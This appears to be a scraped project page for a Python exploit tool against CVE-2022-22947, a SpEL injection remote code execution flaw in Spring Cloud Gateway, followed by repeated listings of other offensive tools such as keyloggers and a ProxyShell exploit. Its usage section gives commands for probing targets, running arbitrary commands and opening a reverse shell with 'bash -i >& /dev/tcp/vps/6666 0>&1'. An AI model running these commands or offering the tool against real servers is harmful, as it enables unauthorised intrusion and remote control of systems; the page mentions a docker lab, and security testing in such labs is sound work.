spring-cloud-gateway-rce CVE-2022-22947

Last update: Sep 28, 2022

Overview

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）

1.installation

pip3 install -r requirements.txt

2.Usage

$ python3 spring-cloud-gateway-rce.py -h

   ___             __         ____    ___   ____   ____          ____   ____    ___   _  _    _____
  / __\ /\   /\   /__\       |___ \  / _ \ |___ \ |___ \        |___ \ |___ \  / _ \ | || |  |___  |
 / /    \ \ / /  /_\   _____   __) || | | |  __) |  __) | _____   __) |  __) || (_) || || |_    / /
/ /___   \ V /  //__  |_____| / __/ | |_| | / __/  / __/ |_____| / __/  / __/  \__, ||__   _|  / /
\____/    \_/   \__/         |_____| \___/ |_____||_____|       |_____||_____|   /_/    |_|   /_/


                                        CVE-2022-22947 Spring Cloud Gateway RCE
                                                                  By:K3rwin
usage: spring-cloud-gateway-rce.py [-h] [-u URL] [-c CMD] [-s SYSTEM]

Spring Cloud Gateway RCE 帮助指南

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     指定url
  -c CMD, --cmd CMD     指定执行的命令,默认执行whoami
  -s SYSTEM, --system SYSTEM
                        指定目标主机操作系统,默认linux,参数为win/linux

3.example

① -u 探测漏洞

python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/"

② -c 指定执行命令

python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "ip add"

③ 反弹shell

python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "bash -i >& /dev/tcp/vps/6666 0>&1"

docker靶场

vulfocus

spring-cloud-gateway-rce CVE-2022-22947

Related tags

Overview

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）

1.installation

2.Usage

3.example

① -u 探测漏洞

② -c 指定执行命令

③ 反弹shell

docker靶场

Owner

k3rwin

xp_CAPTCHA(白嫖版) burp 验证码识别 burp插件

"KeyLogger-WebService" Is a Keylogger Write In python.

Metasploit Multi Purpose Exploiting Toolkit For Termux

This is a repository filled with scripts that were made with Python, and designed to exploit computer systems.

Exploit for CVE-2017-17562 vulnerability, that allows RCE on GoAhead (< v3.6.5) if the CGI is enabled and a CGI program is dynamically linked.

Let's you scan the entire internet in a couple of hours and identify all Minecraft servers on IPV4

A tool used to obfuscate python scripts, bind obfuscated scripts to fixed machine or expire obfuscated scripts.

IDA Python Script for anti ollvm

This repository will contain python scripts for hackers and pentesters

Recon is a script to perform a full recon on a target with the main tools to search for vulnerabilities.

Omega - From Wordpress admin to pty

Android Malware (Analysis | Scoring) System

SubFind - Subdomain Finder Tools

Um keylogger que se disfarça de um app que tira print da tela.

Tool-X is a kali linux hacking Tool installer.

A Proof-of-Concept Layer 2 Denial of Service Attack that disrupts low level operations of Programmable Logic Controllers within industrial environments. Utilizing multithreaded processing, Automator-Terminator delivers a powerful wave of spoofed ethernet packets to a null MAC address.

A simple python script to dump remote files through a local file read or local file inclusion web vulnerability.

Automatic ProxyShell Exploit

Find exposed API keys based on RegEx and get exploitation methods for some of keys that are found

Dumps the payload.bin image found in Android update images.

spring-cloud-gateway-rce CVE-2022-22947

Related tags

Overview

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）

1.installation

2.Usage

3.example

① -u 探测漏洞

② -c 指定执行命令

③ 反弹shell

docker靶场

Owner

k3rwin

xp_CAPTCHA(白嫖版) burp 验证码 识别 burp插件

"KeyLogger-WebService" Is a Keylogger Write In python.

Metasploit Multi Purpose Exploiting Toolkit For Termux

This is a repository filled with scripts that were made with Python, and designed to exploit computer systems.

Exploit for CVE-2017-17562 vulnerability, that allows RCE on GoAhead (< v3.6.5) if the CGI is enabled and a CGI program is dynamically linked.

Let's you scan the entire internet in a couple of hours and identify all Minecraft servers on IPV4

A tool used to obfuscate python scripts, bind obfuscated scripts to fixed machine or expire obfuscated scripts.

IDA Python Script for anti ollvm

This repository will contain python scripts for hackers and pentesters

Recon is a script to perform a full recon on a target with the main tools to search for vulnerabilities.

Omega - From Wordpress admin to pty

Android Malware (Analysis | Scoring) System

SubFind - Subdomain Finder Tools

Um keylogger que se disfarça de um app que tira print da tela.

Tool-X is a kali linux hacking Tool installer.

A Proof-of-Concept Layer 2 Denial of Service Attack that disrupts low level operations of Programmable Logic Controllers within industrial environments. Utilizing multithreaded processing, Automator-Terminator delivers a powerful wave of spoofed ethernet packets to a null MAC address.

A simple python script to dump remote files through a local file read or local file inclusion web vulnerability.

Automatic ProxyShell Exploit

Find exposed API keys based on RegEx and get exploitation methods for some of keys that are found

Dumps the payload.bin image found in Android update images.

xp_CAPTCHA(白嫖版) burp 验证码识别 burp插件